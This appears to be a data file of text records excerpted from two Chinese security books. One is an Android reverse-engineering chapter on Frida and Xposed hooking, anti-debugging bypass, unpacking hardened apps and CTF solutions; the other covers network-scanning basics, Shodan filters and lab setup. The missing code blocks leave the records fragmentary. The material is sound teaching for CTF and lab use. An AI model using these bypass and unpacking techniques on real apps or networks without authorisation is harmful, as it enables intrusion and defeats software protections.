    {"text": "本章将介绍Android开发的基本知识，介绍移动端CTF解题所需的必备技能，以及常用工具的使用技巧和反调试原理、脱壳原理等实战技能，最后通过案例让读者能更快、更好地入门CTF移动端题目。"},
    {"text": "①Activity ：面向用户的应用组件或者用户操作的可视化界面，基于Activity基类，底层由ActivityManager统一管理，也负责处理应用内或应用间发送的Intent消息。"},
    {"text": "②Broadcast Receiver ：接受并过滤广播消息的组件，应用想显示的接收广播消息，需在Manifest清单文件中注册一个receiver，用Intent filter过滤特定类型的广播消息，见图4-1-1。"},
    {"text": "④Content Provider ：应用程序间数据共享的组件。 如ContactsProvider（联系人提供者）对联系人信息统一管理，可以被其他应用（申请权限之后）访问，应用还可以创建自己的Content Provider，并且把自身数据暴露给其他应用。"},
    {"text": "❖ armeabi：所有ARM处理器相关文件。 ❖ armeabi-v7a：ARMv7及以上处理器相关文件。 ❖ arm64-v8a：所有ARMv8处理器下的arm64相关文件。 ❖ x86：所有x86处理器相关文件。 ❖ x86_64：所有x86_64处理器相关文件。"},
    {"text": "5．AndroidManifest.xml AndroidManifest.xml是Android组件清单文件，包含应用名字、版本、权限等信息，以二进制XML文件格式存储在APK文件中，能通过apktool、AXMLPrinter2等工具转换成XML明文格式文件。 6．classes.dex classes.dex是Android运行时可执行文件。"},
    {"text": "❖ field表：每个表项用3个元素描述了一个变量，分别为该变量所属的类、该变量所属的类型、该变量的名字。 ❖ method表：每个表项用3个元素来描述一个函数，分别为该函数所属的类、该函数的函数原型、该函数的名字。 ❖ class表：每个表项用8个元素来描述一个类，分别为类名、类属性access flag、父类偏移、接口偏移、源文件索引、类注释、类数据偏移、静态变量偏移。"},
    {"text": "图4-1-4 4.1.5 Android示例代码 Android编程语言为Java，但是从2017年5月的Google I/O大会开始，Android官方语言改为了Kotlin（基于JVM的编程语言），弥补了Java缺失的现代语言特性，简化了代码，使得开发者可以编写尽量少的代码。"},
    {"text": "4.2 APK逆向工具 本节主要介绍在APK逆向时主要使用的一些逆向工具和模块，好工具能大大加快逆向的速度。 针对Android平台的逆向工具有很多，如Apktool、JEB、IDA、AndroidKiller、Dex2Jar、JD-GUI、smali、baksmali、jadx等，本节主要介绍JEB、IDA、Xposed和Frida。 4.2.1 JEB 针对Android平台有许多反编译器，其中JEB的功能最强大。 JEB从早期的Android APK反编译器发展到现在，不仅支持Android APK文件反编译，还支持MIPS、ARM、ARM64、x86、x86-64、WebAssembly、EVM等反编译，展示页面和开放接口易用，大大降低了逆向工程的难度，见图4-2-1。 图4-2-1 JEB 2.0后增加了动态调试功能，动态调试功能简单易用，容易上手，可以调试任意开启调试模式的APK。"},
    {"text": "图4-2-2 打开调试功能后，OSX系统通过Command+B在smali层面上布置断点，右侧VM/局部变量窗口下查看当前位置各寄存器的值，双击能修改任意寄存器值，见图4-2-3。"},
    {"text": "图4-2-3 没有开启调试功能的应用、非Eng版本的Android手机被root后，可能出现无法调试其他应用的情况，这时可以通过Hook系统接口强制开启调试模式来进行，如通过 Xposed Hook 实现非Eng手机下的JEB动态调试。 Hook动态修改debug状态的代码如下： 强制将PackageManagerService的getPackageInfo函数中应用程序调试Flag改为调试状态，即可强制打开调试模式，在任意root设备中完成动态调试。"},
    {"text": "4.2.2 lDA 在遇到Native（本地服务）逆向时，IDA优于JEB等其他逆向工具，其动态调试能大大加速Android Native层逆向速度，本节主要介绍如何使用IDA进行Android so Native层逆向。 IDA进行Android Native层调试需要用到IDA自带工具android_server：对于32位Android手机，使用32位版android_server和32位版IDA； 对于64位Android手机，使用64位版android_server和64位版IDA，将android_server存至手机目录，且修改权限，见图4-2-4。 图4-2-4 IDA调试默认监听23946端口，需要使用adb forward指令将Android端口命令转发至本机： 打开IDA远程ARM/Android调试器，见图4-2-5。"},
    {"text": "图4-2-5 图4-2-6 进入IDA主页面后选择modules，找到该进程对应的native层so，见图4-2-8。 双击进入该so对应的导出表，找到需要调试的Native函数（见图4-2-9），然后双击进入函数页面，在主页面下断点、观察寄存器变化（见图4-2-10）。 某些Native函数（JNI_OnLoad、init_array）在so加载时会默认自动执行，对于这类函数无法直接使用上述方式进行调试，需要在动态库加载前断下，所有动态库都是通过linker加载，所以需要定位到linker中加载so的起始位置，然后在linker初始化该so时进入。"},
    {"text": "4.2.3 Xposed Hook Xposed是一款在root设备下可以在不修改源码的情况下影响程序运行的Android Hook框架，其原理是将手机的孵化器zygote进程替换为Xposed自带的zygote，使其在启动过程中加载XposedBridge.jar，模块开发者可以通过JAR提供的API来实现对所有Function的劫持，在原Function执行的前后加上自定义代码。"},
    {"text": "<1>在AndroidManifest.xml中的application标签内添加Xposed相关的meta-data： 图4-2-7 图4-2-8 图4-2-9 图4-2-10 其中，xposedmodule表示这是一个Xposed模块，xposeddescription描述该模块的用途，可以引用string.xml中的字符串，xposedminversion是要求支持的Xposed Framework最低版本。"},
    {"text": "4.2.4 Frida Hook Frida是一款跨平台的Hook框架，支持iOS、Android。 对于Android应用，Frida不仅能Hook Java层函数，还能Hook Native函数，能大大提高逆向分析的速度。"},
    {"text": "① Hook Android Native函数： ② Hook Android Java函数： ③ 通过__fields__获取类成员变量： ④ Native层下获取Android jni env： ⑤ Java层获取类的field字段： ⑥ 获取Native特定地址： ⑦ 获取app context： Frida需要在root环境下使用，但是提供了一种不需root环境的代码注入方式，通过反编译，在被测应用中注入代码，使其在初始化时加载Frida Gadget相关so，并且在lib目录下存放配置文件libgadget.config.so，说明动态注入的JS代码路径。"},
    {"text": "4.3 APK逆向之反调试 为了保护应用关键代码，开发者需要采用各种方式增加关键代码逆向难度。 调试技术是逆向人员理解关键代码逻辑的重要手段，对应的反调试技术则是应用开发者的“铠甲”。 Android下的反调试技术大多从Windows平台衍生而来，可以分为以下几类。"},
    {"text": "❖ 检测/proc/pid/status、/proc/pid/task/pid/status下的Tracepid是否为0。 ❖ 检测/proc/pid/stat、/proc/pid/task/pid/stat的第2个字段是否为t。 ❖ 检测/proc/pid/wchan、/proc/pid/task/pid/wchan是否为ptrace_stop。"},
    {"text": "比如，通过ptrace函数检测是否被ptrace时，可以修改源码，让ptrace函数永远返回非调试状态，即可绕过ptrace检测； 对系统自带的isDebuggerConnected函数，也可以通过修改源码绕过。"},
    {"text": "4.4 APK逆向之脱壳 4.4.1 注入进程Dump内存 下面给出一段Android8.1下通过Frida Hook完成某加固脱壳的代码： 这种脱壳方式的核心原理是在Dalvik/ART模式下，如果DEX文件存在连续存储状态，就一定能找到一个Hook时机点，该时间点下DEX文件是完整存储在内存中的，通过Hook即可获取完整的原始DEX文件。"},
    {"text": "4.4.2 修改源码脱壳 修改Android源码的脱壳原理与Hook脱壳类似，都是找到一个DEX文件完整存储在内存中的时机点，由于修改源码的方式隐蔽性极高，加固代码从本质上完全无法检测，因此这种方式对反Hook强度高同时DEX文件存在完整释放时机点的壳非常有效。 比如，可以修改dex2oat源码脱出某加固厂商壳： 另一种修改源码脱壳的方式如下，在Android 8.1下修改以下文件。 4.4.3 类重载和DEX重组 对于不连续壳，在内存中不存在完整的DEX文件，此时不能通过Dump内存来完成完整脱壳，需要在运行时对DEX进行重建，推荐使用FUPK3完成脱壳。 FUPK3（ https://bbs.pediy.com/thread-246117-1.htm ）是在Android 4.4下通过修改源码实现的DEX重组脱壳方式。 从源码编译开始，打入patch并重新编译framework： 操作步骤如下： <1> 在手机端打开FUpk3，点击图标，选取要脱壳的应用，再点击UPK脱壳。"},
    {"text": "<5> Dump出来的DEX文件位于/data/data/pkgname/.fupk3目录下。 <6> 点击CPY，复制脱出的DEX文件到临时目录/data/local/tmp/.fupk3中。 <7> 导出DEX到adb pull/data/local/tmp/.fupk3 localFolder中。 <8> 使用FUnpackServer重构DEX文件java-jar upkserver.jar localFolder。"},
    {"text": "4.5 APK真题解析 4.5.1 ollvm混淆Native App逆向（NJCTF 2017） NJCTF 2017中设计了一道纯Native编写的Native App，其AndroidManifest.xml内容见图4-5-1。"},
    {"text": "图4-5-1 在so逻辑中，程序通过加速传感器获取当前设备的x、y、z坐标，然后进行判断，当x、y、z计算满足一定条件后才会吐出flag。"},
    {"text": "而计算flag的函数名比较明显： 图4-5-2 char＊__fastcall flg(int a1,char＊a2) 该函数接收一个int值，然后计算生成字符串（题目描述中申明flag由可见字符串构成）。 解题思路是直接调用该flag函数进行爆破，找到所有flag可见字符串组合。"},
    {"text": "4.5.2 反调试及虚拟机检测（XDCTF 2016） XDCTF 2016中设计了一道Android逆向题目，包含基础的反调试、虚拟机检测，完成此类题目最便捷的方式是动态调试，而要实现动态调试，需要绕过Java层及Native层的反调试、反虚拟机检测等。"},
    {"text": "图4-5-4 计算flag的关键函数在Native层，所以动态调试需要进入Native层，通过逆向，我们可以发现Native层中实现了简单的反调试，见图4-5-5。"},
    {"text": "图4-5-5 通过检测TracerPid来判断当前是否被ptrace，而IDA等调试器都是用 ptrace 来实现调试的，绕过此反调试的根本方式是定制ROM，将TracerPid永久置为0。"},
    {"text": "因此，我们只需将这个字符串base64解码再逆序回去，即是flag： 小结 从上述两个例子可以看出，CTF中APK相关的题目除了对选手的逆向水平有一定要求，也会考察选手对Android系统的熟悉程度。"},
    {"text": "版权信息 COPYRIGHT 书名：从0到1：CTFer成长之路 作者：Nu1L战队 出版社：电子工业出版社 出版时间：2020年9月 ISBN：9787121376955 字数：1069千字 版权方：电子工业出版社有限公司 版权所有·侵权必究"},
    {"text": "未知 版权信息 版权信息 书名：从实践中学习Kali Linux网络扫描 作者：大学霸IT达人 排版：小暑暑 出版社：机械工业出版社 出版时间：2019-07-01 ISBN：9787111630364 — · 版权所有 侵权必究 · — 未知 前言 网络扫描是发现网络和了解网络环境的一种技术手段。借助网络扫描，我们可以探测网络规模，寻找活跃主机，然后对主机进行侦查，以便了解主机开放的端口情况。基于这些信息，可以判断该主机的操作系统和运行服务等信息。 本书详细讲解了网络扫描涉及的各项理论知识和技术。书中首先从理论层面帮助读者明确扫描的目的和方式，然后从基本协议的角度讲解了通用的扫描技术，最后过渡到特定类型网络环境的专有扫描技术。在先期扫描完成后，本书继续深入讲解了如何借助响应内容识别目标，并对常见的服务给出了扫描建议。在最后的相关章节，本书详细讲解了高效的数据整理和分析方式。 本书特色 1．内容实用，可操作性强 在实际应用中，网络扫描是一项操作性极强的技术。本书将秉承这个特点，合理安排内容，从第1章开始就详细地讲解了扫描环境的搭建和靶机建立。在后续的章节中，将对每个扫描技术都配以操作实例，以带领读者动手练习。 2．充分讲解网络扫描的相关流程 网络扫描的基本流程包括探测主机存活、端口/服务发现、目标识别。同时，作为渗透测试的一个环节，往往还要进行后续的信息整理和分析。本书将详解这四个流程，手把手带领读者完成网络扫描的相关任务。 3．由浅入深，容易上手 本书充分考虑到了初学者的情况，首先从概念讲起，帮助他们明确网络扫描的目的和基本扫描思路；然后详细讲解了如何准备实验环境，例如需要用到的软件环境、靶机和网络环境。这样可以让读者更快上手，理解网络扫描的作用。 4．环环相扣，逐步讲解 网络扫描是一个理论、应用和实践三者紧密结合的技术。任何一个有效的扫描策略都由对应的理论衍生应用，并结合实际情况而产生。本书遵循这个规律，从协议工作机制开始讲解，然后依次讲解应用方式，最后结合实例给出扫描策略。 5．提供完善的技术支持和售后服务 本书提供了QQ交流群（343867787）供读者交流和讨论学习中遇到的各种问题，另外还提供了服务邮箱hzbook2017@163.com。读者在阅读本书的过程中若有疑问，可以通过QQ群或邮箱来获得帮助。 本书内容 第1章网络扫描概述，主要介绍了网络扫描的基本概念和学习环境的准备，如网络扫描的目的、扫描方式、配置靶机、配置网络环境及法律边界等问题。 第2章扫描基础技术，主要介绍了常见的通用扫描技术，以及这些技术所依赖的理论基础，这些技术包括ICMP扫描、TCP扫描、UDP扫描和IP扫描。 第3~5章主要介绍了特定网络的专有扫描技术，主要包括局域网扫描、无线网络扫描和广域网扫描技术。例如，局域网支持ARP扫描和DHCP扫描；无线网络支持无线监听方式，以实现网络扫描。 第6章目标识别，主要介绍了当发现主机时，如何通过指纹信息识别系统和服务的版本。同时，还介绍了通过SNMP和SMB这两种服务分析目标信息的方法。 第7章常见服务扫描策略，主要介绍了7大类共27种常见服务的判断和版本识别方法，如网络基础服务、文件共享服务、Web服务、数据库服务和远程登录服务等。 第8章信息整理及分析，主要介绍了网络扫描后数据的整理和分析方式。本章简要讲解了如何使用Maltego以思维导图的形式归纳数据，并拓展、延伸出新的信息。 附录A特殊扫描方式，介绍了FTP弹跳扫描和僵尸扫描两种特殊扫描方式。 附录B相关API，介绍了用户在安装某个第三方Transform时，需要使用的API Key。 本书配套资源获取方式 本书涉及的工具和软件需要读者自行下载，下载途径有以下几种： ·根据图书中对应章节给出的网址自行下载； ·加入技术讨论QQ群（343867787）获取； ·登录华章公司网站 www.hzbook.com ，在该网站上搜索到本书，然后单击“资料下载”按钮，即可在页面上找到“配书资源”下载链接。 本书内容更新文档获取方式 为了让本书内容紧跟技术的发展和软件更新，我们会对书中的相关内容进行不定斯更新，并发布对应的电子文档。需要的读者可以加入QQ交流群（343867787）获取，也可以通过华章公司网站上的本书配套资源链接下载。 本书读者对象 ·渗透测试技术人员； ·网络安全和维护人员； ·信息安全技术爱好者； ·计算机安全技术自学者； ·高校相关专业的学生； ·专业培训机构的学员。 本书阅读建议 ·Kali Linux内置了Nmap和Maltego等工具，使用该系统的读者可以跳过第1.3.1节、8.1.1节和8.1.2节的内容。 ·学习阶段建议多使用靶机进行练习，以避免因为错误操作而影响实际的网络环境。 ·由于安全工具经常会更新、增补不同的功能，因此建议读者定期更新工具，以获取更稳定和更强大的环境。 本书作者 本书由大学霸IT达人技术团队编写。感谢在本书编写和出版过程中给予我们大量帮助的各位编辑！ 由于作者水平所限，加之写作时间较为仓促，书中可能还存在一些疏漏和不足之处，敬请各位读者批评指正。 编著者"},
    {"text": "未知 第1章 网络扫描概述 随着互联网络的飞速发展，网络入侵行为日益严重，网络安全已成为人们的关注点。在实施渗透测试过程中，网络扫描是收集目标系统信息的重要技术之一。通过实施网络扫描，可以发现一个网络中活动的主机、开放的端口及对应服务等。本章将介绍网络扫描的目的和方式。 未知 1.1 扫描目的 通过网络扫描，用户能够发现网络中活动的主机和主机上开放的端口，进而判断出目标主机开放的服务。然后通过对服务的扫描，还可以获取到目标主机的操作系统类型、服务欢迎信息和版本等信息。本节将介绍网络扫描的目的。 未知 1.1.1 发现主机 通过对一个网络中的主机实施扫描，即可发现该网络中活动的主机。当发现网络中活动的主机后，用户就可以在扫描时重新规划扫描范围，而不需要对所有主机进行扫描，这样将会节约大量的时间和资源，而且扫描的结果更精确。这样用户可以针对活动主机做进一步扫描，以探测开放的端口，进而推断出开放的服务信息等。 未知 1.1.2 探测端口 当用户扫描到网络中活动的主机后，即可探测该活动主机中开放的所有端口。这里的端口指的不是物理意义上的端口，而是特指TCP/IP协议中的端口，它是逻辑意义上的端口。在TCP/IP协议中，最常用的协议是TCP和UDP协议，由于这两个协议是独立的，因此各自的端口号也相互独立。例如，TCP有235端口，UDP也可以有235端口，且两者并不冲突。 在TCP/IP协议中的端口，可以根据它们的用途进行分类。因此下面将介绍一下端口的类型，以方便用户判断端口所对应的程序。 1．周知端口（Well Known Ports） 周知端口是众所周知的端口号，范围为0～1023。例如，WWW服务默认端口为80，FTP服务默认端口为21等。不过，用户也可以为这些网络服务指定其他端口号，但是有些系统协议使用固定的端口号，是不能被改变的。例如，139端口专门用于NetBIOS与TCP/IP之间的通信，不能手动改变。 2．动态端口（Dynamic Ports） 动态端口的范围是49152～65535。之所以称为动态端口，是因为它们一般不固定分配某种服务，而是根据程序申请，系统自动进行动态分配。 3．注册端口 1024～49151端口，是用来分配给用户进程或应用程序的。这些进程主要是用户所安装的一些应用程序，而不是已经分配好了公认端口的常用程序。这些端口在没有被服务器资源占用的时候，可以供用户端动态选用。 未知 1.1.3 判断服务 在计算机网络中，每个服务默认都有对应的端口。例如，FTP服务默认端口为21，SSH服务默认端口为22，HTTP服务默认端口为80等。所以，如果用户探测出目标主机开放的端口后，即可判断出对应的服务了。为了帮助用户能够快速地判断出开放端口所对应的服务，这里将以表格形式列出一些常见的服务及其对应端口，如表1.1所示。 表1.1 常见的TCP端口号及服务 未知 1.2 扫描方式 用户可以使用三种扫描方式来实施网络扫描，分别是主动扫描、被动扫描和第三方扫描。本节将分别介绍这三种扫描方式。 未知 1.2.1 主动扫描 主动扫描就是用户主动发送一些数据包进行扫描，以找到网络中活动的主机。其中，用于主动扫描的工具有很多，如Netdiscover、Nmap和Ping等。例如，当用户使用Ping命令实施主动扫描时，将会发送一个ICMP Echo-Request报文给目标主机，如果目标主机收到该请求，并回应一个ICMP Echo-Reply报文，则说明该目标主机是活动的。 未知 1.2.2 被动扫描 被动扫描是通过长期监听广播包，来发现同一网络中的活动主机。一般情况下发送广播包，主要有两个原因。一个原因是，应用程序希望在本地网络中找到一个资源，而应用程序对该资源的地址又没有预先储备。例如ARP广播包，用于获取局域网内某IP对应的MAC地址。另一个原因是由于一些重要的功能。例如，路由器要求把它们的信息发送给所有可以找到的邻机。"},
    {"text": "未知 1.2.3 第三方扫描 用户还可以借助第三方主机来实施扫描。例如，使用公开的网络服务或者控制其他主机/设备来实施扫描。下面将介绍一些第三方扫描方式。 1．Shodan的使用 Shodan是目前最强大的搜索引擎。但是，它与Google这种搜索网址的搜索引擎不同，Shodan是用来搜索网络空间中在线设备的，用户可以通过Shodan搜索指定的设备，或者搜索特定类型的设备。其中，Shodan上最受欢迎的搜索内容是webcam、linksys、cisco、netgear和SCADA等。Shodan搜索引擎的网址为 https://www.shodan.io/ ，界面如图1.1所示。 图1.1 Shodan搜索引擎 该界面就是Shodan搜索引擎的主界面。这里就像是用Google一样，在主页的搜索框中输入想要的内容即可。例如，这里搜索一个SSH关键词，显示结果如图1.2所示。 从该界面中可以看到搜索到的结果，主要包括两个部分：其中，左侧是大量的汇总数据，包括TOTAL RESULTS（搜索结果总数）、TOP COUNTRIES（使用最多的国家）、TOP SERVICES（使用最多的服务/端口）、TOP ORGANIZATIONS（使用最多的组织/ISP）、TOP OPERATING SYSTEMS（使用最多的操作系统）和TOP PRODUCTS（使用最多的产品/软件名称）；中间的主页面就是搜索结果，包括IP地址、主机名、ISP、该条目的收录时间、该主机位于的国家和Banner信息等。如果想要了解每个条目的具体信息，则需要单击每个条目下方的Details按钮即可。此时，URL会变成这种格式https://www.shodan.io/host/[IP]，如图1.3所示，所以用户也可以通过直接访问指定的IP来查看详细信息。 图1.2 搜索结果 图1.3 搜索结果的详细信息 从图1.3顶部的地图中可以看到主机的物理位置。从左侧可以了解到主机的相关信息，右侧显示了目标主机的端口列表及其详细信息。 如果像前面那样单纯地只使用关键字直接进行搜索，则搜索的结果可能不太满意。此时，用户可以使用一些特定的命令对搜索结果进行过滤。其中，常见的过滤器命令如下： ·hostname：搜索指定的主机名或域名，如hostname:\"baidu\"。 ·port：搜索指定的端口或服务，如port:\"21\"。 ·country：搜索指定的国家，如country:\"CN\"。 ·city：搜索指定的城市，如city:\"beijing\"。 ·org：搜索指定的组织或公司，如org:\"google\"。 ·isp：搜索指定的ISP供应商，如isp:\"China Telecom\"。 ·product：搜索指定的操作系统、软件和平台，如product:\"Apache httpd\"。 ·version：搜索指定的软件版本，如version:\"1.6.2\"。 ·geo：搜索指定的地理位置，参数为经纬度，如geo:\"31.8639,117.2808\"。 ·before/after：搜索指定收录时间前后的数据，格式为dd-mm-yy，如before:\"11-11-15\"。 ·net：搜索指定的IP地址或子网，如net:\"210.45.240.0/24\"。 【实例1-1】使用Shodan查找位于国内的Apache服务器。搜索过滤器的语法格式为apache country:\"CN\"。此时，在Shodan的搜索文本框中输入该过滤器，如图1.4所示。 图1.4 搜索过滤器 在搜索框中输入以上过滤器后，单击 （搜索）按钮，即可显示其扫描结果，如图1.5所示。 从图1.5中可以看到扫描到的结果。如果想要查看某个主机的具体位置，单击Maps按钮后，Shodan会将查询结果可视化地展示在地图当中，如图1.6所示。 Shodan服务还支持用户将扫描结果生成一个报表并下载下来。如果想要生成报表，可以单击Create Report按钮，将弹出一个对话框，如图1.7所示。 在该对话框中需要指定一个标题。例如，这里设置标题为SSH。然后，单击Create Report按钮，将显示如图1.8所示页面。 图1.5 扫描结果 图1.6 地图位置 从图1.8中可以看到一条提示信息，显示报告已生成成功，并且该报告已发送到注册账号的邮箱中。此时，进入邮箱即可看到接收到的邮件，如图1.9所示。 图1.7 对话框 从图1.10中可以看到提示报告SSH已成功生成。此时，单击该邮件中的链接，即可查看报告内容，如图1.10所示。 图1.8 报告生成成功 图1.9 报告信息 图1.10 报告内容 该报告内容较多，由于无法截取整个页面，因而只显示了一部分信息。 提示： 如果用户想要导出Shodan的搜索结果到某一个报表时，则需要登录该站点才可以；否则，在菜单栏中，没有Create Report按钮。其中，Shodan站点的注册账号地址为 https://account.shodan.io/register 。用户可以根据提示，注册一个账号并登录该站点。 2．路由器的管理界面 用户通过登录路由器，也可以查看当前局域网中活动的主机。下面将以TP-LINK路由器为例，来介绍查看活动主机的方法。 【实例1-2】利用路由器的管理界面查看活动主机。具体操作步骤如下。 （1）登录路由器的管理界面。其中，该路由器的默认地址为 http://192.168.1.1/ ，用户名和密码为admin。当用户在浏览器中访问 http://192.168.1.1/ 地址后，将弹出一个身份验证对话框，如图1.11所示。 图1.11 身份验证对话框 （2）在其中输入默认的用户名和密码进行登录。登录成功后，将显示如图1.12所示页面。 （3）在其中依次选择“DHCP服务器”|“客户端列表”选项，将进入如图1.13所示页面。 （4）从图1.13所示的客户端列表中可以看到有4个客户端。由此可以说明，当前局域网中有4个客户端，其IP地址分别是192.168.1.100、192.168.1.101、192.168.1.102和192.168.1.103。 图1.12 路由器管理界面 图1.13 客户端列表"},
    {"text": "未知 1.3 准备环境 当用户对网络扫描的目的和方式了解清楚后，就可以对目标实施扫描了。但是要实施扫描，还需要准备环境，如安装扫描工具、搭建攻击靶机和网络环境等。本节将介绍准备环境的相关工作。 未知 1.3.1 软件环境 在书中主要是使用Nmap工具来实施扫描的，所以需要安装Nmap工具。在Kali Linux系统中，默认已经安装了Nmap工具。因此推荐用户使用Kali Linux操作系统，这样就无须进行任何配置了，否则需要手动安装Nmap。为了方便用户在非Kali Linux系统中使用Nmap工具，下面介绍获取及安装Nmap工具的方法。 1．获取Nmap 如果要安装Nmap工具，可以从官方网站获取其安装包。Nmap的官方下载地址为 https://nmap.org/download.html 。在浏览器中输入该地址，即可打开其下载页面，如图1.14所示。 图1.14 Nmap下载页面 在图1.14所示的下载页面中，提供了Windows二进制包、Linux二进制包、Mac OS X二进制包、源码包及其他操作系统的包，并且还提供了几种包的安装方式，如RPM二进制包的安装方式和源码包安装方式。此时可以根据自己的系统版本及架构，选择相应的软件包。由于页面太大，这里只截取了其中的一部分信息（包括源码包和Windows二进制包的下载地址）。 2.安装Nmap 下面将以Windows操作系统为例，来介绍安装Nmap工具的方法。Nmap官方网站提供了两种格式的安装包，分别是可执行文件（.exe）和压缩文件（.zip）。其中，.exe格式的文件需要用户手动安装；.zip格式的文件直接解压后就可以使用。为了能够快速并方便地使用Nmap工具，这里将选择下载.zip格式。具体安装方法如下： （1）下载Windows版本的.zip压缩文件安装包，下载完成后，其软件包名为nmap-7.70-win32.zip。 （2）使用WinRAR压缩工具，解压下载的安装包。解压成功后，所有的文件将被解压到一个名为nmap-7.70的文件夹中。打开该文件夹后，即可看到用于启动Nmap工具的应用程序文件.exe，如图1.15所示。 （3）从图1.15中可以看到解压出的所有文件。其中，nmap.exe可执行文件是用来启动Nmap工具的。接下来，在命令行终端执行该命令即可。 图1.15 解压出的文件"},
    {"text": "下面将介绍使用VMware创建虚拟机的方法。 【实例1-3】使用VMware软件创建虚拟机。 具体操作步骤如下： （1）下载并安装VMware软件。 其中，VMware软件的下载地址如下： https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html 在浏览器中输入该地址后，将打开VMware的下载页面，如图1.16所示。 （2）从图1.16中可以看到，分别提供了Windows和Linux版本的VMware安装包。"},
    {"text": "下载完成后，其软件包名为VMware-workstation-full-15.0.2-10952284.exe。 然后双击该安装包，根据提示即可快速将VMware软件安装到系统中。 启动VMware虚拟机软件后，显示界面如图1.17所示。"},
    {"text": "这里提供了3种方式，分别是安装程序光盘（D）、安装程序光盘映像文件（iso）（M）和稍后安装操作系统（S），在本例中选择“稍后安装操作系统（S）”单选按钮。"},
    {"text": "单击“下一步”按钮，将进入“选择客户机操作系统”对话框，如图1.20所示。 图1.18 新建虚拟机向导 图1.19 “安装客户机操作系统”对话框 （6）在其中选择将要安装的操作系统类型和版本。"},
    {"text": "从中可以看到可安装的操作系统类型有Windows、Linux和Apple Mac OS等。 选择不同的操作系统类型后，在版本的下拉列表框中可以选择系统版本。 在本例中选择Linux系统类型，Debian 9.x 64位版本。"},
    {"text": "然后，单击“下一步”按钮，进入“命名虚拟机”对话框，如图1.21所示。 图1.20 “选择客户机操作系统”对话框 图1.21 “命名虚拟机”对话框 （7）在其中定义将要安装的虚拟机名称和位置。"},
    {"text": "此时，将要安装的操作系统镜像文件加载到该虚拟机中，即可开始安装操作系统了。 在其中选择“编辑虚拟机设置”选项，将弹出“虚拟机设置”对话框，如图1.25所示。 图1.22 “指定磁盘容量”对话框 图1.23 “已准备好创建虚拟机”对话框 图1.24 创建的虚拟机 （11）在其中可以设置虚拟机的内存、处理器、使用的镜像文件和网络连接方式等。 这里选择CD/DVD（IED）选项，并在右侧选择“使用ISO映像文件（M）”单选按钮，指定要安装的虚拟机系统镜像文件。"},
    {"text": "然后，单击“开启此虚拟机”选项，即可开始安装对应的操作系统。 图1.25 “虚拟机设置”对话框 3．第三方靶机 除了前面的两种靶机外，也可以从互联网上下载一些第三方靶机直接使用，避免手动安装，手动配置系统和服务。"},
    {"text": "具体操作步骤如下： （1）下载Metasploitable 2，其文件名为Metasploitable-Linux-2.0.0.zip。 （2）将Metasploitable-Linux-2.0.0.zip文件解压到本地磁盘。"},
    {"text": "单击“我已复制该虚拟机”按钮，将启动Metasploitable 2操作系统，如图1.29所示。 图1.26 选择Metasploitable 2启动 图1.27 安装的Metasploitable系统 图1.28 弹出的警告对话框 （7）该界面为Metasploitable 2登录界面。"},
    {"text": "未知 1.3.3 搭建网络环境 如果用户使用虚拟机作为靶机的话，还需要对网络进行简单配置；如果靶机配置不当，则会导致无法对其实施扫描。下面将介绍在虚拟机中设置网络的方法。 1．虚拟机NAT网络 虚拟机提供了3种网络模式，分别是桥接模式、NAT模式和仅主机模式。如果要访问互联网，NAT模式是最好的选择。使用NAT网络后，不仅可以与局域网中的主机进行通信，还可以访问外网。下面将介绍配置NAT网络的方法。 （1）由于NAT模式是借助虚拟NAT设备和虚拟DHCP服务器，使虚拟机连接到互联网的，所以要使用NAT网络，必须先启动NAT服务和DHCP服务。在Windows桌面，右击“计算机”，在弹出的快捷菜单中选择“管理”命令，打开“计算机管理”窗口。然后选择“服务和应用程序”|“服务”选项，将显示如图1.30所示的窗口。 （2）在该窗口中显示了三部分内容，分别是计算机管理（本地）选项列表、服务信息和操作选项。在第二部分的服务信息下拉列表中，即可找到VMware NAT Service和VMware DHCP Service。从该窗口中可以看到，这两个服务已经启动。如果没有启动的话，选择对应服务并右击，将弹出一个快捷菜单，如图1.31所示。 图1.30 “计算机管理”窗口 （3）在该快捷菜单中，选择“启动（S）”命令，即可启动对应的服务。接下来设置NAT的网段和范围，用来为主机动态分配IP地址。在VMware的菜单栏中依次选择“编辑（E）”|“虚拟网络编辑器（N）”命令，将弹出如图1.32所示对话框。 （4）从其中可以看到当前虚拟机中的所有虚拟网络连接方式。这里设置的是NAT网络，所以选择VMnet8。然后即可进行NAT和DHCP设置。单击“NAT设置（S）”按钮，将进入如图1.33所示对话框。 （5）在该对话框中可设置NAT的网段。可以看到，本例中的NAT网段为192.168.33.0/24。如果想要修改为其他网段的话，只需要修改网关IP地址即可。例如，如果想要设置NAT网段为192.168.5.0，则设置网关IP地址为192.168.5.2即可。然后单击“确定”按钮，将返回“虚拟网络编辑器”对话框。单击“DHCP设置（P）”按钮，将进入如图1.34所示对话框，在其中即可设置NAT网络范围。 （6）图1.34中所示的起始IP地址和结束IP地址就是用来设置网络范围的。可以看到，当前的NAT网络范围为192.168.33.128至192.168.33.254，并且还可以设置地址的租用时间。设置完成后，单击“确定”按钮完成设置。 图1.31 菜单栏 图1.32 “虚拟网络编辑器”对话框 图1.33 “NAT设置”对话框 图1.34 “DHCP设置”对话框 2．使用实体网络 虚拟机网络可能导致部分扫描出现错误。这时，需要使用实体网络来实施扫描。通过在虚拟机中接入一个USB无线网卡，可以让虚拟机使用物理网络。下面介绍在虚拟机中使用USB网卡的方式。 【实例1-5】在虚拟机中使用USB无线网卡，具体操作步骤如下： （1）启动虚拟机的USB服务。在当前计算机中打开服务界面，如图1.35所示。 图1.35 服务界面 （2）从服务中找到VMware USB Arbitration Service服务，并确定该服务已启动。接下来将USB无线网卡插到实体机上，此时会弹出一个“可移动设备”对话框，如图1.36所示。 图1.36 “可移动设备”对话框 （3）从该对话框中可以看到，当前系统中插入了一个名称为“Ralink 802.11n WLAN”的USB设备。通过选择“虚拟机”|“可移动设备”命令，即可将该设备连接到此虚拟机上。此时，在VMware的菜单栏中依次选择“虚拟机（M）”|“可移动设备（D）”|Ralink 802.11n WLAN|“连接（断开与主机的连接）（C）”命令，即可将该USB无线网卡接入到虚拟机中，如图1.37所示。 （4）当选择“连接（断开与主机的连接）（C）”选项后，将弹出如图1.38所示的对话框。 （5）从该对话框中可以看到，某个USB设备将要从主机拔出并连接到虚拟机上。此时，单击“确定”按钮，则成功将USB无线网卡接入到虚拟机中。接下来，使用该USB无线网卡即可接入实体网络。 注意： 如果插入USB无线网卡后，VMware没有识别该设备，可能是VMware的USB模块被损坏，这时可以通过修复VMware软件解决该问题。 图1.37 连接USB无线网卡 图1.38 “提示”对话框 